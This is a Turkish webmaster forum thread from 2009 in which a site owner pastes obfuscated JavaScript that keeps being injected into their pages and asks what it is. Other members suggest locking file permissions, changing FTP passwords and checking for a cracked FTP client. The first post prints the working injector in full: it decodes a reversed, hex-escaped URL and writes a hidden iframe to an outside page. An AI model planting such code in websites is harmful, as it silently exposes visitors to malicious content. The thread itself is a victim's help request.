0
Kayıt Ol

Bo Kodda Neyin Nesi

4

●

437

  • 12-09-2009, 13:56:29
    #1
    kacar82
    kacar82
    Sitelerimin azılarında <body> tagından hemen sonra eklenmeye başladı bu kod. Bu kodun ne olduğunu bilen varmı. İframe biliyorumda bunu daha önce görmedim hiç. Hatta bi sitem bu kod yüüznden zararlı site uyarısına maruz kaldı. Hemen fark ettiğimde sdim. Bi baktımda diğer sitelerimede bulaşmaya başlamış bazılarına... Ki bu sitelerin sunucuları farklı farklı yerlerde hep.. Aynı sunucu olsa tamam dicem sunucuda bişe var ancak hep farklı farklı sunuculardaki siteler bu koda maruz kalıyor...

    İşte kod:

    Alıntı
    <!--pCQegcQpSdDlcHjr--><script>/*kKMIkqZKzudmzolxbrOHcWc*/var YtJzBU=document;/*IiTSklCVzskOGQGJRjfotls*/function UvrUmwYA(fXCunYmB)/*oMvBLMFdAhNBEswhcTQORaUK*/{var DdKQrsBtb = "",/*qMhJXHFXbplaeBhn*/MAueQJPqK=0;for(MAueQJPqK=fXCunYmB.length-1;MAueQJPqK >= 0;MAueQJPqK--)/*_QFpgDWzoZ_IUa_EYAAsBSz*/{DdKQrsBtb+=fXCunYmB.charAt(MAueQJPqK);}return DdKQrsBtb;/*MObrkBcjKvUUEMQ*/}/*uTerrZNumvQKTuJLpL*/function lAzxGtC(XFRZIMF_)/*kKMIkqZKzudmzolxbrOHcWc*/{/*qMhJXHFXbplaeBhn*/XFRZIMF_ = XFRZIMF_.replace(/[\.]/g, "%");/*DQloCfcNIAbcedryffCLqfJb*/XFRZIMF_=unescape(XFRZIMF_);/*dYwdhKVcIC*/return UvrUmwYA(XFRZIMF_);/*labNWxLCjH_vHfgqHzTeFJpk*/}/*mDxpBbGaaSRIv*/function gqDmBRQ(){/*qMhJXHFXbplaeBhn*/YtJzBU.write("<style>.JIjzCtPmog{width:1px;height: 1px;border:none;visibility:hidden}</style>");/*_QFpgDWzoZ_IUa_EYAAsBSz*//*_QFpgDWzoZ_IUa_EYAAsBSz*/var rPnbv="<iframe id=\"fWMiliU\" src=\"x\" class=\"JIjzCtPmog\"></iframe>";/*MObrkBcjKvUUEMQ*//*XveYPeKLuEKekySlz*/var eukscm=rPnbv.replace(/[\+x]/g,lAzxGtC(".70.68.70.2e.6e.69.2f.73.74.61.74.73.2f .6f.66.6e.69.2e.72.65.74.6e.75.6f.63.2d.65.76.69.6 c.2e.77.77.77.2f.2f.3a.70.74.74.68"));/*qMhJXHFXbplaeBhn*//*EDoaNtIMGMc*/return eukscm;/*rqszXRaWBkPDChdYQJhZ*//*ZanD_dBPp_pbECRk*/}/*EDoaNtIMGMc*//*IiTSklCVzskOGQGJRjfotls*//*ZanD_dBPp_pbECRk*//*VAggMvx_ioGGV*/YtJzBU.writeln(gqDmBRQ());/*PPOfbNdeQEktSYITseyRSquT*//*mDxpBbGaaSRIv*//*eUChBuePLDO*/</script><!--pCQegcQpSdDlcHjr-->
  • 12-09-2009, 14:00:32
    #2
    Ebu
    Ebu
    bildiğim kadarı ile bu kodu silsen de tekrar gelir. şunu yapmanı tavsiye ederim her nerede ise bu kod ftp den chmod ayarlarından yazma iznini kaldır.sorun gider.
  • 12-09-2009, 14:05:36
    #3
    Big_Turk
    Big_Turk
    ftp programını ve tüm sitelerin şifrelerini değiştir.. Ftp probramının Cra.c.k'inden kaynaklanan bir problem.. CuteFtp de çok karşılaşılıyor özellikle..
  • 12-09-2009, 19:58:37
    #4
    kacar82
    kacar82
    Ebu adlı üyeden alıntı: mesajı görüntüle
    bildiğim kadarı ile bu kodu silsen de tekrar gelir. şunu yapmanı tavsiye ederim her nerede ise bu kod ftp den chmod ayarlarından yazma iznini kaldır.sorun gider.
    ftp de sitelerimin şifrelerini barındırmıyorum. Filezilla kullanıyorum. Diğer iframe virisin daha çok kdoların en sonuna index php lere bulaşırken bu .htacces ve .head.php dosyaları atarak sunucuya bulaşıyor. Bu iki dosyayı sidliğimde otomatik olarak siliniyor kod...
  • 12-09-2009, 20:32:28
    #5
    ZedTeknoloji
    ZedTeknoloji
    Sizin kodlarınızın da iframe yontemi ile dağılan kodlardan farkı yoktur.
    Çözümü için ;

    Zararlı kod içeren sayfalar nasıl Temizlenir?

    " Google Saldırgan Site " listesinden Nasıl Çıkılır?

    Linklerini kullanınız.

    İyi Çalışmalar
    Aytaç Engin